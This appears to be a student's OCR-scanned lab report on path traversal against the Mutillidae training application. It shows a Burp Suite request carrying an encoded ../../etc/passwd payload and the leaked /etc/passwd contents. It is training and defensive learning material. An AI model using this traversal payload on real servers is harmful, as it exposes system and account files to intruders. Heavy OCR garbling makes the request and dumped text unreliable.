Lab 15 Oja Jaakko

Step 1 Vulnerability Scan
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Corr HTTP/1.1 200 OK
il Default Context Date: Tue, @1 Apr 2025 ©7:28:@1 GMT
s Server: apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/S.2.4-2ubuntus.10
Expires: Thu, 19 Nov 1981 88:52:08 GMT
Logged-In-user:
Cache-Control: public
Pragma: public
Last-Modified: Tue, @1 Apr 2025 ©7:28:02 GMT
Content-Type: text/html
content-length: 23046

T0Ot:x:0:8: root: /xoot: /bin/bash
daemon:x:1:1:daemon: /usr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:5ys:/dev:/binssh

sync:x:4:65534: sync: fbin: /bin/sync

games :x:5:60: games : /usT/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
1p:x:7:7:1p: svar/spool/1pd: /binssh
mailix:8:8:mall: /var/mail: /bin/sh

news :x:9:9:news: fvar/spool/news: fbin/sh
Uucp:x:18:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy: /bin: /bin/sh
www-data:x:33:33 :www-data:/var/wew: /bin/sh

Jeremy Druin</div>
</td>

<td valign="top">
<blockquote>
¢l— Begin Content —
ot:/bin/bash
daemon:/usr/sbin

5:60:games /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
:7:7:1p:/var/spool/lpd ,bln/sh

-data:/var/wwi:/bin/sh
4:backup:/var/backups:/bin/sh
Hall1ng List Manager:/var/list:/bin/sh
39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
nobody:x:65534:65534: nobody: /nonexistent: /D1n,sh

/home/syslog:/bin/false
/home/klog:
/var/run/sshd:/usr/sbin/nologin
:/home/msfadmin:/bin/bash

bind:x:10
postfix:x:1 6.115 /var/spool/postfix:/bin/false
ft 107:65534 :: /home/ftp:/bin/false
postgres:x:108:117:PostgresSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server, var/lib/mysql:/bin/false
tomcat55 10:65534 :: /usr shale’tomcatS.S /bin/false
distccd:x:111:65534::/:/bin/false
:x:1001:1001: just a user,111,,:/home/user:/bin/bash
1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120:: /nonexistent:/bin/false
proftpd:x:113:65534:: /var/run/proftpd:/bin/false
statd:x:114:65534:: /var/lib/nfs:/bin/false
snmp:x:11 5534 :: /var/lib/snmp:/bin/false
gordonb:x:1004:1004 :: /home/gordonb: /bin/bash
¢— End Content —
</blockquote>
</td>
</tr>
table>




Step 3 Path Traversal Verification with Burp Suite

Burp Project Intruder Repeater View Help
Dashboard Target Intruder Repeater Collaborator
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Request
Raw Hex n

1 POST /mutillidas/index.php?page=text—file-viewer.php
HTTF/1.1
Host: 172.17.0.2
Content-Length: 81
Cache-Control: max-age=0
Upgrade-Insecurs-Requests:
Origin: http://172.17.0.2
Content-Type: application/x-www-form-urlencodsd
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4;
AppleWebKit/537.36 (KHTHL, like Gecko)
Chrome/115.0.5790.171 Safari/537.36
Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, im
age/avif, image/webp, image/apng, */ *;g=0.8, application/sign
ed-exchange;v=b3; q=0.7
10 Referer:

http://172.17.0.2/mutillidas/ ?page=text—file-viewer.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
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3 Cookie: PHPSESSID=837233fbdabcaafBéfées 19c009550a3
14 Connection: close

15

16 textfile= L52f. . s2fetcs2fpasswde

text-file-viewer-php-submit-button=Viswv+File
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Done

0 matches

Sequencer Decoder Comparer Logger Organizer Extensions Learn (@} Settings
Q i
Target: http:/1172.17.02 /7 HTTPA (3)
Response Inspector nl = - @ X
Pretty _ Raw  Hex  Render i Request attributes 2 v
.o/ tdx</trs
556 </table>
557 </ form> Request query parameters 1 ~
558 _
559 "label"sFile: ../ ../../etc/passude/ ps<prex Name Value =
root:/root:/bin/bash
se0 1:dasmon: /usr/shin:/bin/sh pege (I 2
SEL in:
ys
£3 sync:x:4:E5534:sync:/bin:/hin/sync
games:x:5:60: games:/usr/games:/bin/sh Request body parameters 23 A
man:x:6:12:man:/var/cache/man: /bin/sh
1p: 7:1p:/var/spool/lpd:/bin/sh =
7 mailixi8:B:maili/var/wail:/bin/sh Name pols §
nevs:x:9:9:nevs:/var/spool/news:/bin/sh textfile ] fetc/passwd >
€9 wucp:x:10:10:uucp:/var/spool/uucp:/bin/sh .
proxy:x:13:13:proxy:/bin:/bin/sh text-file-viewer-... View File 4
wwv-data:x:33:33:wwv-data:/var/www: /bin/sh -
backup:x:34:34:backup: /var/backups: /bin/sh
38:38:Mailing List Manager:/var/list:/bin/sh
S:ired:/var/run/ired:/bin/sh
gnats:x:4l:41:Gnats Bug-Reporting System Request cookies 1 v
(admin) :/var/lib/gnats:/bin/sh
576 nobody:x:£5534:65534 :nobody:/nonexistent :/bin/sh Request headers 13 v
577 libunid:x:100:101::/var/1ib/ libuuid: /bin/sh
578 dhep:x:100:102::/nonexistent:/bin/false
579 syslog:x:102:103::/howe/syslog: /bin/ false Response headers n i
580 klog:x:103:104::/home/klog: /bin/false
551 sshd:x:104:65534::/var/run/sshd: /usr/shin/nologin
52 mefadmin:x:1000:1000:msfadmin, ,, :/home/msfadmin: /bin/ba
sh
583 hind:x:105: :/var/cache/bind:/bin/false
584 postfix: var/spool/postfix:/bin/false
585 ftpix:l0 /home/ftp:/bin/false
S8E postgres:x:108:117:PostoreSal

administrator,,,:/var/lib/postgresgl:/bin/bash
587 mysql:x:l09:118: MySOL
Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:E5534: :/usr/share/tomcat5s.5: /bin/ false
' distcod:x:111:85534::/:/bin/false
user:x:1001:1001:just a user,11l,,:/home/user:/bin/bash
service:x:1002:1002:,,, :/home/service:/bin/bash
telnetd 1 20::/nonexistent:/bin/false
proftpd:x:113:£5534: 1 /var/run/proftpd: /bin/false
x:114:65534::/var/lib/nfs:/bin/false
:%:115:65534: :/var/lib/snmp: /bin/false
gordonb:x:1004:1004: :/home/gordonb: /bin/bash
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25,851 bytes | 48 millis




